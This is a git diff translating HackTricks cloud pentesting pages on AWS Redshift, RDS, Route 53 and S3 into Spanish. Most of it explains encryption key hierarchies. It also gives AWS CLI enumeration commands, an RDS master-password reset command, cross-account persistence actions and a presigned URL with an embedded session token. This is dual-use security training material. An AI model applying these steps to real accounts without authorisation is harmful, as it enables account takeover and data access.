tier three, the database encryption key, the DEK, and finally tier four, the data encryption keys themselves**. +El cifrado para tu clúster solo puede ocurrir durante su creación, y una vez cifrado, los datos, metadatos y cualquier instantánea también están cifrados. Los niveles de jerarquía de las claves de cifrado son los siguientes: **el nivel uno es la clave maestra, el nivel dos es la clave de cifrado del clúster, la CEK, el nivel tres, la clave de cifrado de la base de datos, la DEK, y finalmente el nivel cuatro, las claves de cifrado de datos en sí**. ### KMS -During the creation of your cluster, you can either select the **default KMS key** for Redshift or select your **own CMK**, which gives you more flexibility over the control of the key, specifically from an auditable perspective. +Durante la creación de tu clúster, puedes seleccionar la **clave KMS predeterminada** para Redshift o seleccionar tu **propia CMK**, lo que te da más flexibilidad sobre el control de la clave, específicamente desde una perspectiva auditable. -The default KMS key for Redshift is automatically created by Redshift the first time the key option is selected and used, and it is fully managed by AWS. +La clave KMS predeterminada para Redshift es creada automáticamente por Redshift la primera vez que se selecciona y utiliza la opción de clave, y es completamente gestionada por AWS. -This KMS key is then encrypted with the CMK master key, tier one. This encrypted KMS data key is then used as the cluster encryption key, the CEK, tier two. This CEK is then sent by KMS to Redshift where it is stored separately from the cluster. Redshift then sends this encrypted CEK to the cluster over a secure channel where it is stored in memory. +Esta clave KMS se cifra luego con la clave maestra CMK, nivel uno. Esta clave de datos KMS cifrada se utiliza como la clave de cifrado del clúster, la CEK, nivel dos. Esta CEK se envía luego por KMS a Redshift donde se almacena por separado del clúster. Redshift luego envía esta CEK cifrada al clúster a través de un canal seguro donde se almacena en memoria. -Redshift then requests KMS to decrypt the CEK, tier two. This decrypted CEK is then also stored in memory. Redshift then creates a random database encryption key, the DEK, tier three, and loads that into the memory of the cluster. The decrypted CEK in memory then encrypts the DEK, which is also stored in memory. +Redshift luego solicita a KMS que descifre la CEK, nivel dos. Esta CEK descifrada también se almacena en memoria. Redshift luego crea una clave de cifrado de base de datos aleatoria, la DEK, nivel tres, y la carga en la memoria del clúster. La CEK descifrada en memoria luego cifra la DEK, que también se almacena en memoria. -This encrypted DEK is then sent over a secure channel and stored in Redshift separately from the cluster. Both the CEK and the DEK are now stored in memory of the cluster both in an encrypted and decrypted form. The decrypted DEK is then used to encrypt data keys, tier four, that are randomly generated by Redshift for each data block in the database. +Esta DEK cifrada se envía luego a través de un canal seguro y se almacena en Redshift por separado del clúster. Tanto la CEK como la DEK ahora se almacenan en la memoria del clúster tanto en forma cifrada como descifrada. La DEK descifrada se utiliza luego para cifrar las claves de datos, nivel cuatro, que son generadas aleatoriamente por Redshift para cada bloque de datos en la base de datos. -You can use AWS Trusted Advisor to monitor the configuration of your Amazon S3 buckets and ensure that bucket logging is enabled, which can be useful for performing security audits and tracking usage patterns in S3. +Puedes usar AWS Trusted Advisor para monitorear la configuración de tus buckets de Amazon S3 y asegurarte de que el registro de buckets esté habilitado, lo que puede ser útil para realizar auditorías de seguridad y rastrear patrones de uso en S3. ### CloudHSM
-Using Redshift with CloudHSM +Usando Redshift con CloudHSM -When working with CloudHSM to perform your encryption, firstly you must set up a trusted connection between your HSM client and Redshift while using client and server certificates. +Al trabajar con CloudHSM para realizar tu cifrado, primero debes establecer una conexión de confianza entre tu cliente HSM y Redshift mientras usas certificados de cliente y servidor. -This connection is required to provide secure communications, allowing encryption keys to be sent between your HSM client and your Redshift clusters. Using a randomly generated private and public key pair, Redshift creates a public client certificate, which is encrypted and stored by Redshift. This must be downloaded and registered to your HSM client, and assigned to the correct HSM partition. +Esta conexión es necesaria para proporcionar comunicaciones seguras, permitiendo que las claves de cifrado se envíen entre tu cliente HSM y tus clústeres de Redshift. Usando un par de claves privadas y públicas generadas aleatoriamente, Redshift crea un certificado de cliente público, que es cifrado y almacenado por Redshift. Este debe ser descargado y registrado en tu cliente HSM, y asignado a la partición HSM correcta. -You must then configure Redshift with the following details of your HSM client: the HSM IP address, the HSM partition name, the HSM partition password, and the public HSM server certificate, which is encrypted by CloudHSM using an internal master key. Once this information has been provided, Redshift will confirm and verify that it can connect and access development partition. +Luego debes configurar Redshift con los siguientes detalles de tu cliente HSM: la dirección IP del HSM, el nombre de la partición HSM, la contraseña de la partición HSM y el certificado del servidor HSM público, que es cifrado por CloudHSM usando una clave maestra interna. Una vez que se ha proporcionado esta información, Redshift confirmará y verificará que puede conectarse y acceder a la partición de desarrollo. -If your internal security policies or governance controls dictate that you must apply key rotation, then this is possible with Redshift enabling you to rotate encryption keys for encrypted clusters, however, you do need to be aware that during the key rotation process, it will make a cluster unavailable for a very short period of time, and so it's best to only rotate keys as and when you need to, or if you feel they may have been compromised. +Si tus políticas de seguridad internas o controles de gobernanza dictan que debes aplicar rotación de claves, entonces esto es posible con Redshift, permitiéndote rotar claves de cifrado para clústeres cifrados; sin embargo, debes ser consciente de que durante el proceso de rotación de claves, hará que un clúster no esté disponible por un período de tiempo muy corto, por lo que es mejor rotar claves solo cuando sea necesario, o si sientes que pueden haber sido comprometidas. -During the rotation, Redshift will rotate the CEK for your cluster and for any backups of that cluster. It will rotate a DEK for the cluster but it's not possible to rotate a DEK for the snapshots stored in S3 that have been encrypted using the DEK. It will put the cluster into a state of 'rotating keys' until the process is completed when the status will return to 'available'. +Durante la rotación, Redshift rotará la CEK para tu clúster y para cualquier respaldo de ese clúster. Rotará una DEK para el clúster, pero no es posible rotar una DEK para las instantáneas almacenadas en S3 que han sido cifradas usando la DEK. Pondrá al clúster en un estado de 'rotando claves' hasta que el proceso se complete, momento en el cual el estado volverá a 'disponible'.
-### Enumeration - +### Enumeración ```bash # Get clusters aws redshift describe-clusters @@ -82,22 +81,17 @@ aws redshift describe-scheduled-actions # The redshift instance must be publicly available (not by default), the sg need to allow inbounds connections to the port and you need creds psql -h redshift-cluster-1.sdflju3jdfkfg.us-east-1.redshift.amazonaws.com -U admin -d dev -p 5439 ``` - ## Privesc {{#ref}} ../aws-privilege-escalation/aws-redshift-privesc.md {{#endref}} -## Persistence +## Persistencia -The following actions allow to grant access to other AWS accounts to the cluster: +Las siguientes acciones permiten otorgar acceso a otras cuentas de AWS al clúster: - [authorize-endpoint-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-endpoint-access.html) - [authorize-snapshot-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-snapshot-access.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md index 473369403..a4094174a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md @@ -1,77 +1,76 @@ -# AWS - Relational Database (RDS) Enum +# AWS - Enumeración de Base de Datos Relacional (RDS) {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -The **Relational Database Service (RDS)** offered by AWS is designed to streamline the deployment, operation, and scaling of a **relational database in the cloud**. This service offers the advantages of cost efficiency and scalability while automating labor-intensive tasks like hardware provisioning, database configuration, patching, and backups. +El **Servicio de Base de Datos Relacional (RDS)** ofrecido por AWS está diseñado para simplificar el despliegue, operación y escalado de una **base de datos relacional en la nube**. Este servicio ofrece las ventajas de eficiencia de costos y escalabilidad mientras automatiza tareas laboriosas como la provisión de hardware, configuración de bases de datos, parches y copias de seguridad. -AWS RDS supports various widely-used relational database engines including MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server, and Amazon Aurora, with compatibility for both MySQL and PostgreSQL. +AWS RDS soporta varios motores de bases de datos relacionales ampliamente utilizados, incluyendo MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server y Amazon Aurora, con compatibilidad para MySQL y PostgreSQL. -Key features of RDS include: +Las características clave de RDS incluyen: -- **Management of database instances** is simplified. -- Creation of **read replicas** to enhance read performance. -- Configuration of **multi-Availability Zone (AZ) deployments** to ensure high availability and failover mechanisms. -- **Integration** with other AWS services, such as: - - AWS Identity and Access Management (**IAM**) for robust access control. - - AWS **CloudWatch** for comprehensive monitoring and metrics. - - AWS Key Management Service (**KMS**) for ensuring encryption at rest. +- **La gestión de instancias de base de datos** se simplifica. +- Creación de **réplicas de lectura** para mejorar el rendimiento de lectura. +- Configuración de **despliegues en múltiples Zonas de Disponibilidad (AZ)** para asegurar alta disponibilidad y mecanismos de conmutación por error. +- **Integración** con otros servicios de AWS, como: +- AWS Identity and Access Management (**IAM**) para un control de acceso robusto. +- AWS **CloudWatch** para monitoreo y métricas completas. +- AWS Key Management Service (**KMS**) para asegurar la encriptación en reposo. -## Credentials +## Credenciales -When creating the DB cluster the master **username** can be configured (**`admin`** by default). To generate the password of this user you can: +Al crear el clúster de DB, el **nombre de usuario** maestro puede ser configurado (**`admin`** por defecto). Para generar la contraseña de este usuario puedes: -- **Indicate** a **password** yourself -- Tell RDS to **auto generate** it -- Tell RDS to manage it in **AWS Secret Manager** encrypted with a KMS key +- **Indicar** una **contraseña** tú mismo +- Decirle a RDS que **la genere automáticamente** +- Decirle a RDS que la gestione en **AWS Secret Manager** encriptada con una clave KMS
-### Authentication +### Autenticación -There are 3 types of authentication options, but using the **master password is always allowed**: +Hay 3 tipos de opciones de autenticación, pero usar la **contraseña maestra siempre está permitido**:
-### Public Access & VPC +### Acceso Público y VPC -By default **no public access is granted** to the databases, however it **could be granted**. Therefore, by default only machines from the same VPC will be able to access it if the selected **security group** (are stored in EC2 SG)allows it. +Por defecto, **no se concede acceso público** a las bases de datos, sin embargo, **podría concederse**. Por lo tanto, por defecto, solo las máquinas de la misma VPC podrán acceder si el **grupo de seguridad** seleccionado (almacenado en EC2 SG) lo permite. -Instead of exposing a DB instance, it’s possible to create a **RDS Proxy** which **improves** the **scalability** & **availability** of the DB cluster. +En lugar de exponer una instancia de DB, es posible crear un **RDS Proxy** que **mejora** la **escalabilidad** y **disponibilidad** del clúster de DB. -Moreover, the **database port can be modified** also. +Además, el **puerto de la base de datos puede ser modificado** también. -### Encryption +### Encriptación -**Encryption is enabled by default** using a AWS managed key (a CMK could be chosen instead). +**La encriptación está habilitada por defecto** utilizando una clave gestionada por AWS (se podría elegir una CMK en su lugar). -By enabling your encryption, you are enabling **encryption at rest for your storage, snapshots, read replicas and your back-ups**. Keys to manage this encryption can be issued by using **KMS**.\ -It's not possible to add this level of encryption after your database has been created. **It has to be done during its creation**. +Al habilitar tu encriptación, estás habilitando **la encriptación en reposo para tu almacenamiento, instantáneas, réplicas de lectura y tus copias de seguridad**. Las claves para gestionar esta encriptación pueden ser emitidas utilizando **KMS**.\ +No es posible añadir este nivel de encriptación después de que tu base de datos ha sido creada. **Debe hacerse durante su creación**. -However, there is a **workaround allowing you to encrypt an unencrypted database as follows**. You can create a snapshot of your unencrypted database, create an encrypted copy of that snapshot, use that encrypted snapshot to create a new database, and then, finally, your database would then be encrypted. +Sin embargo, hay un **método alternativo que te permite encriptar una base de datos no encriptada de la siguiente manera**. Puedes crear una instantánea de tu base de datos no encriptada, crear una copia encriptada de esa instantánea, usar esa instantánea encriptada para crear una nueva base de datos y, finalmente, tu base de datos estaría encriptada. -#### Transparent Data Encryption (TDE) +#### Encriptación de Datos Transparente (TDE) -Alongside the encryption capabilities inherent to RDS at the application level, RDS also supports **additional platform-level encryption mechanisms** to safeguard data at rest. This includes **Transparent Data Encryption (TDE)** for Oracle and SQL Server. However, it's crucial to note that while TDE enhances security by encrypting data at rest, it may also **affect database performance**. This performance impact is especially noticeable when used in conjunction with MySQL cryptographic functions or Microsoft Transact-SQL cryptographic functions. +Junto con las capacidades de encriptación inherentes a RDS a nivel de aplicación, RDS también soporta **mecanismos de encriptación a nivel de plataforma adicionales** para salvaguardar los datos en reposo. Esto incluye **Encriptación de Datos Transparente (TDE)** para Oracle y SQL Server. Sin embargo, es crucial notar que aunque TDE mejora la seguridad al encriptar datos en reposo, también puede **afectar el rendimiento de la base de datos**. Este impacto en el rendimiento es especialmente notable cuando se utiliza en conjunto con funciones criptográficas de MySQL o funciones criptográficas de Microsoft Transact-SQL. -To utilize TDE, certain preliminary steps are required: +Para utilizar TDE, se requieren ciertos pasos preliminares: -1. **Option Group Association**: - - The database must be associated with an option group. Option groups serve as containers for settings and features, facilitating database management, including security enhancements. - - However, it's important to note that option groups are only available for specific database engines and versions. -2. **Inclusion of TDE in Option Group**: - - Once associated with an option group, the Oracle Transparent Data Encryption option needs to be included in that group. - - It's essential to recognize that once the TDE option is added to an option group, it becomes a permanent fixture and cannot be removed. -3. **TDE Encryption Modes**: - - TDE offers two distinct encryption modes: - - **TDE Tablespace Encryption**: This mode encrypts entire tables, providing a broader scope of data protection. - - **TDE Column Encryption**: This mode focuses on encrypting specific, individual elements within the database, allowing for more granular control over what data is encrypted. +1. **Asociación de Grupo de Opciones**: +- La base de datos debe estar asociada con un grupo de opciones. Los grupos de opciones sirven como contenedores para configuraciones y características, facilitando la gestión de bases de datos, incluyendo mejoras de seguridad. +- Sin embargo, es importante notar que los grupos de opciones solo están disponibles para motores de bases de datos y versiones específicas. +2. **Inclusión de TDE en el Grupo de Opciones**: +- Una vez asociada con un grupo de opciones, la opción de Encriptación de Datos Transparente de Oracle debe ser incluida en ese grupo. +- Es esencial reconocer que una vez que la opción TDE se añade a un grupo de opciones, se convierte en un elemento permanente y no puede ser eliminada. +3. **Modos de Encriptación TDE**: +- TDE ofrece dos modos de encriptación distintos: +- **Encriptación de Tablespace TDE**: Este modo encripta tablas enteras, proporcionando un alcance más amplio de protección de datos. +- **Encriptación de Columna TDE**: Este modo se centra en encriptar elementos específicos e individuales dentro de la base de datos, permitiendo un control más granular sobre qué datos se encriptan. -Understanding these prerequisites and the operational intricacies of TDE is crucial for effectively implementing and managing encryption within RDS, ensuring both data security and compliance with necessary standards. - -### Enumeration +Entender estos requisitos previos y las complejidades operativas de TDE es crucial para implementar y gestionar eficazmente la encriptación dentro de RDS, asegurando tanto la seguridad de los datos como el cumplimiento de los estándares necesarios. +### Enumeración ```bash # Clusters info ## Get Endpoints, username, port, iam auth enabled, attached roles, SG @@ -106,41 +105,36 @@ aws rds describe-db-proxy-targets ## reset credentials of MasterUsername aws rds modify-db-instance --db-instance-identifier --master-user-password --apply-immediately ``` - -### Unauthenticated Access +### Acceso No Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md {{#endref}} -### Privesc +### Escalación de Privilegios {{#ref}} ../aws-privilege-escalation/aws-rds-privesc.md {{#endref}} -### Post Exploitation +### Post Explotación {{#ref}} ../aws-post-exploitation/aws-rds-post-exploitation.md {{#endref}} -### Persistence +### Persistencia {{#ref}} ../aws-persistence/aws-rds-persistence.md {{#endref}} -### SQL Injection +### Inyección SQL -There are ways to access DynamoDB data with **SQL syntax**, therefore, typical **SQL injections are also possible**. +Hay formas de acceder a los datos de DynamoDB con **sintaxis SQL**, por lo tanto, **inyecciones SQL típicas también son posibles**. {{#ref}} https://book.hacktricks.xyz/pentesting-web/sql-injection {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md index c37002eb7..050718343 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md @@ -4,16 +4,15 @@ ## Route 53 -Amazon Route 53 is a cloud **Domain Name System (DNS)** web service.\ -You can create https, http and tcp **health checks for web pages** via Route53. +Amazon Route 53 es un servicio web de **Sistema de Nombres de Dominio (DNS)** en la nube.\ +Puedes crear chequeos de salud **https, http y tcp para páginas web** a través de Route53. -### IP-based routing +### Enrutamiento basado en IP -This is useful to tune your DNS routing to make the best DNS routing decisions for your end users.\ -IP-based routing offers you the additional ability to **optimize routing based on specific knowledge of your customer base**. - -### Enumeration +Esto es útil para ajustar tu enrutamiento DNS y tomar las mejores decisiones de enrutamiento DNS para tus usuarios finales.\ +El enrutamiento basado en IP te ofrece la capacidad adicional de **optimizar el enrutamiento basado en el conocimiento específico de tu base de clientes**. +### Enumeración ```bash aws route53 list-hosted-zones # Get domains aws route53 get-hosted-zone --id @@ -21,7 +20,6 @@ aws route53 list-resource-record-sets --hosted-zone-id # Get al aws route53 list-health-checks aws route53 list-traffic-policies ``` - ### Privesc {{#ref}} @@ -29,7 +27,3 @@ aws route53 list-traffic-policies {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md index 3133c0eac..b98eac041 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md @@ -4,144 +4,137 @@ ## S3 -Amazon S3 is a service that allows you **store big amounts of data**. +Amazon S3 es un servicio que te permite **almacenar grandes cantidades de datos**. -Amazon S3 provides multiple options to achieve the **protection** of data at REST. The options include **Permission** (Policy), **Encryption** (Client and Server Side), **Bucket Versioning** and **MFA** **based delete**. The **user can enable** any of these options to achieve data protection. **Data replication** is an internal facility by AWS where **S3 automatically replicates each object across all the Availability Zones** and the organization need not enable it in this case. +Amazon S3 proporciona múltiples opciones para lograr la **protección** de datos en reposo. Las opciones incluyen **Permisos** (Política), **Cifrado** (Lado del Cliente y del Servidor), **Versionado de Bucket** y **eliminación basada en MFA**. El **usuario puede habilitar** cualquiera de estas opciones para lograr la protección de datos. **La replicación de datos** es una función interna de AWS donde **S3 replica automáticamente cada objeto en todas las Zonas de Disponibilidad** y la organización no necesita habilitarla en este caso. -With resource-based permissions, you can define permissions for sub-directories of your bucket separately. +Con permisos basados en recursos, puedes definir permisos para subdirectorios de tu bucket por separado. -### Bucket Versioning and MFA based delete +### Versionado de Bucket y eliminación basada en MFA -When bucket versioning is enabled, any action that tries to alter a file inside a file will generate a new version of the file, keeping also the previous content of the same. Therefore, it won't overwrite its content. +Cuando el versionado de bucket está habilitado, cualquier acción que intente alterar un archivo dentro de un archivo generará una nueva versión del archivo, manteniendo también el contenido anterior del mismo. Por lo tanto, no sobrescribirá su contenido. -Moreover, MFA based delete will prevent versions of file in the S3 bucket from being deleted and also Bucket Versioning from being disabled, so an attacker won't be able to alter these files. +Además, la eliminación basada en MFA evitará que las versiones de archivo en el bucket S3 sean eliminadas y también que el versionado de bucket sea deshabilitado, por lo que un atacante no podrá alterar estos archivos. -### S3 Access logs +### Registros de acceso a S3 -It's possible to **enable S3 access login** (which by default is disabled) to some bucket and save the logs in a different bucket to know who is accessing the bucket (both buckets must be in the same region). +Es posible **habilitar el registro de acceso a S3** (que por defecto está deshabilitado) para algún bucket y guardar los registros en un bucket diferente para saber quién está accediendo al bucket (ambos buckets deben estar en la misma región). -### S3 Presigned URLs - -It's possible to generate a presigned URL that can usually be used to **access the specified file** in the bucket. A **presigned URL looks like this**: +### URLs prefirmadas de S3 +Es posible generar una URL prefirmada que generalmente se puede usar para **acceder al archivo especificado** en el bucket. Una **URL prefirmada se ve así**: ``` https://.s3.us-east-1.amazonaws.com/asd.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAUUE8GZC4S5L3TY3P%2F20230227%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230227T142551Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjELf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIBhQpdETJO3HKKDk2hjNIrPWwBE8gZaQccZFV3kCpPCWAiEAid3ueDtFFU%2FOQfUpvxYTGO%2BHoS4SWDMUrQAE0pIaB40qggMIYBAAGgwzMTgxNDIxMzg1NTMiDJLI5t7gr2EGxG1Y5CrfAioW0foHIQ074y4gvk0c%2B%2Fmqc7cNWb1njQslQkeePHkseJ3owzc%2FCwkgE0EuZTd4mw0aJciA2XIbJRCLPWTb%2FCBKPnIMJ5aBzIiA2ltsiUNQTTUxYmEgXZoJ6rFYgcodnmWW0Et4Xw59UlHnCDB2bLImxPprriyCzDDCD6nLyp3J8pFF1S8h3ZTJE7XguA8joMs4%2B2B1%2FeOZfuxXKyXPYSKQOOSbQiHUQc%2BFnOfwxleRL16prWk1t7TamvHR%2Bt3UgMn5QWzB3p8FgWwpJ6GjHLkYMJZ379tkimL1tJ7o%2BIod%2FMYrS7LDCifP9d%2FuYOhKWGhaakPuJKJh9fl%2B0vGl7kmApXigROxEWon6ms75laXebltsWwKcKuYca%2BUWu4jVJx%2BWUfI4ofoaGiCSaKALTqwu4QNBRT%2BMoK6h%2BQa7gN7JFGg322lkxRY53x27WMbUE4unn5EmI54T4dWt1%2Bg8ljDS%2BvKfBjqmAWRwuqyfwXa5YC3xxttOr3YVvR6%2BaXpzWtvNJQNnb6v0uI3%2BTtTexZkJpLQYqFcgZLQSxsXWSnf988qvASCIUhAzp2UnS1uqy7QjtD5T73zksYN2aesll7rvB80qIuujG6NOdHnRJ2M5%2FKXXNo1Yd15MtzPuSjRoSB9RSMon5jFu31OrQnA9eCUoawxbB0nHqwK8a43CKBZHhA8RoUAJW%2B48EuFsp3U%3D&X-Amz-Signature=3436e4139e84dbcf5e2e6086c0ebc92f4e1e9332b6fda24697bc339acbf2cdfa ``` - -A presigned URL can be **created from the cli using credentials of a principal with access to the object** (if the account you use doesn't have access, a shorter presigned URL will be created but it will be useless) - +Una URL prefirmada se puede **crear desde la cli utilizando credenciales de un principal con acceso al objeto** (si la cuenta que usas no tiene acceso, se creará una URL prefirmada más corta pero será inútil) ```bash - aws s3 presign --region 's3:///' +aws s3 presign --region 's3:///' ``` - > [!NOTE] -> The only required permission to generate a presigned URL is the permission being given, so for the previous command the only permission needed by the principal is `s3:GetObject` - -It's also possible to create presigned URLs with **other permissions**: +> El único permiso requerido para generar una URL firmada por anticipado es el permiso que se está otorgando, por lo que para el comando anterior, el único permiso que necesita el principal es `s3:GetObject` +También es posible crear URLs firmadas por anticipado con **otros permisos**: ```python import boto3 url = boto3.client('s3').generate_presigned_url( - ClientMethod='put_object', - Params={'Bucket': 'BUCKET_NAME', 'Key': 'OBJECT_KEY'}, - ExpiresIn=3600 +ClientMethod='put_object', +Params={'Bucket': 'BUCKET_NAME', 'Key': 'OBJECT_KEY'}, +ExpiresIn=3600 ) ``` +### Mecanismos de Cifrado de S3 -### S3 Encryption Mechanisms - -**DEK means Data Encryption Key** and is the key that is always generated and used to encrypt data. +**DEK significa Clave de Cifrado de Datos** y es la clave que siempre se genera y se utiliza para cifrar datos.
-Server-side encryption with S3 managed keys, SSE-S3 +Cifrado del lado del servidor con claves gestionadas por S3, SSE-S3 -This option requires minimal configuration and all management of encryption keys used are managed by AWS. All you need to do is to **upload your data and S3 will handle all other aspects**. Each bucket in a S3 account is assigned a bucket key. +Esta opción requiere una configuración mínima y toda la gestión de las claves de cifrado utilizadas es gestionada por AWS. Todo lo que necesitas hacer es **subir tus datos y S3 se encargará de todos los demás aspectos**. A cada bucket en una cuenta de S3 se le asigna una clave de bucket. -- Encryption: - - Object Data + created plaintext DEK --> Encrypted data (stored inside S3) - - Created plaintext DEK + S3 Master Key --> Encrypted DEK (stored inside S3) and plain text is deleted from memory -- Decryption: - - Encrypted DEK + S3 Master Key --> Plaintext DEK - - Plaintext DEK + Encrypted data --> Object Data +- Cifrado: +- Datos del objeto + DEK en texto plano creado --> Datos cifrados (almacenados dentro de S3) +- DEK en texto plano creado + Clave Maestra de S3 --> DEK cifrado (almacenado dentro de S3) y el texto plano se elimina de la memoria +- Descifrado: +- DEK cifrado + Clave Maestra de S3 --> DEK en texto plano +- DEK en texto plano + Datos cifrados --> Datos del objeto -Please, note that in this case **the key is managed by AWS** (rotation only every 3 years). If you use your own key you willbe able to rotate, disable and apply access control. +Por favor, ten en cuenta que en este caso **la clave es gestionada por AWS** (rotación solo cada 3 años). Si usas tu propia clave, podrás rotar, deshabilitar y aplicar control de acceso.
-Server-side encryption with KMS managed keys, SSE-KMS +Cifrado del lado del servidor con claves gestionadas por KMS, SSE-KMS -This method allows S3 to use the key management service to generate your data encryption keys. KMS gives you a far greater flexibility of how your keys are managed. For example, you are able to disable, rotate, and apply access controls to the CMK, and order to against their usage using AWS Cloud Trail. +Este método permite a S3 utilizar el servicio de gestión de claves para generar tus claves de cifrado de datos. KMS te ofrece una flexibilidad mucho mayor en cómo se gestionan tus claves. Por ejemplo, puedes deshabilitar, rotar y aplicar controles de acceso a la CMK, y ordenar en contra de su uso utilizando AWS Cloud Trail. -- Encryption: - - S3 request data keys from KMS CMK - - KMS uses a CMK to generate the pair DEK plaintext and DEK encrypted and send them to S£ - - S3 uses the paintext key to encrypt the data, store the encrypted data and the encrypted key and deletes from memory the plain text key -- Decryption: - - S3 ask to KMS to decrypt the encrypted data key of the object - - KMS decrypt the data key with the CMK and send it back to S3 - - S3 decrypts the object data +- Cifrado: +- S3 solicita claves de datos a KMS CMK +- KMS utiliza una CMK para generar el par DEK en texto plano y DEK cifrado y los envía a S3 +- S3 utiliza la clave en texto plano para cifrar los datos, almacena los datos cifrados y la clave cifrada y elimina de la memoria la clave en texto plano +- Descifrado: +- S3 solicita a KMS que descifre la clave de datos cifrada del objeto +- KMS descifra la clave de datos con la CMK y la envía de vuelta a S3 +- S3 descifra los datos del objeto
-Server-side encryption with customer provided keys, SSE-C +Cifrado del lado del servidor con claves proporcionadas por el cliente, SSE-C -This option gives you the opportunity to provide your own master key that you may already be using outside of AWS. Your customer-provided key would then be sent with your data to S3, where S3 would then perform the encryption for you. +Esta opción te da la oportunidad de proporcionar tu propia clave maestra que ya puedes estar utilizando fuera de AWS. Tu clave proporcionada por el cliente se enviaría con tus datos a S3, donde S3 realizaría el cifrado por ti. -- Encryption: - - The user sends the object data + Customer key to S3 - - The customer key is used to encrypt the data and the encrypted data is stored - - a salted HMAC value of the customer key is stored also for future key validation - - the customer key is deleted from memory -- Decryption: - - The user send the customer key - - The key is validated against the HMAC value stored - - The customer provided key is then used to decrypt the data +- Cifrado: +- El usuario envía los datos del objeto + clave del cliente a S3 +- La clave del cliente se utiliza para cifrar los datos y los datos cifrados se almacenan +- también se almacena un valor HMAC salado de la clave del cliente para futuras validaciones de clave +- la clave del cliente se elimina de la memoria +- Descifrado: +- El usuario envía la clave del cliente +- La clave se valida contra el valor HMAC almacenado +- La clave proporcionada por el cliente se utiliza para descifrar los datos
-Client-side encryption with KMS, CSE-KMS +Cifrado del lado del cliente con KMS, CSE-KMS -Similarly to SSE-KMS, this also uses the key management service to generate your data encryption keys. However, this time KMS is called upon via the client not S3. The encryption then takes place client-side and the encrypted data is then sent to S3 to be stored. +De manera similar a SSE-KMS, este también utiliza el servicio de gestión de claves para generar tus claves de cifrado de datos. Sin embargo, esta vez KMS se invoca a través del cliente, no de S3. El cifrado se realiza del lado del cliente y los datos cifrados se envían a S3 para ser almacenados. -- Encryption: - - Client request for a data key to KMS - - KMS returns the plaintext DEK and the encrypted DEK with the CMK - - Both keys are sent back - - The client then encrypts the data with the plaintext DEK and send to S3 the encrypted data + the encrypted DEK (which is saved as metadata of the encrypted data inside S3) -- Decryption: - - The encrypted data with the encrypted DEK is sent to the client - - The client asks KMS to decrypt the encrypted key using the CMK and KMS sends back the plaintext DEK - - The client can now decrypt the encrypted data +- Cifrado: +- El cliente solicita una clave de datos a KMS +- KMS devuelve el DEK en texto plano y el DEK cifrado con la CMK +- Ambas claves se envían de vuelta +- El cliente luego cifra los datos con el DEK en texto plano y envía a S3 los datos cifrados + el DEK cifrado (que se guarda como metadatos de los datos cifrados dentro de S3) +- Descifrado: +- Los datos cifrados con el DEK cifrado se envían al cliente +- El cliente solicita a KMS que descifre la clave cifrada utilizando la CMK y KMS envía de vuelta el DEK en texto plano +- El cliente ahora puede descifrar los datos cifrados
-Client-side encryption with customer provided keys, CSE-C +Cifrado del lado del cliente con claves proporcionadas por el cliente, CSE-C -Using this mechanism, you are able to utilize your own provided keys and use an AWS-SDK client to encrypt your data before sending it to S3 for storage. +Usando este mecanismo, puedes utilizar tus propias claves proporcionadas y usar un cliente AWS-SDK para cifrar tus datos antes de enviarlos a S3 para su almacenamiento. -- Encryption: - - The client generates a DEK and encrypts the plaintext data - - Then, using it's own custom CMK it encrypts the DEK - - submit the encrypted data + encrypted DEK to S3 where it's stored -- Decryption: - - S3 sends the encrypted data and DEK - - As the client already has the CMK used to encrypt the DEK, it decrypts the DEK and then uses the plaintext DEK to decrypt the data +- Cifrado: +- El cliente genera un DEK y cifra los datos en texto plano +- Luego, utilizando su propia CMK personalizada, cifra el DEK +- envía los datos cifrados + DEK cifrado a S3 donde se almacenan +- Descifrado: +- S3 envía los datos cifrados y el DEK +- Como el cliente ya tiene la CMK utilizada para cifrar el DEK, descifra el DEK y luego utiliza el DEK en texto plano para descifrar los datos
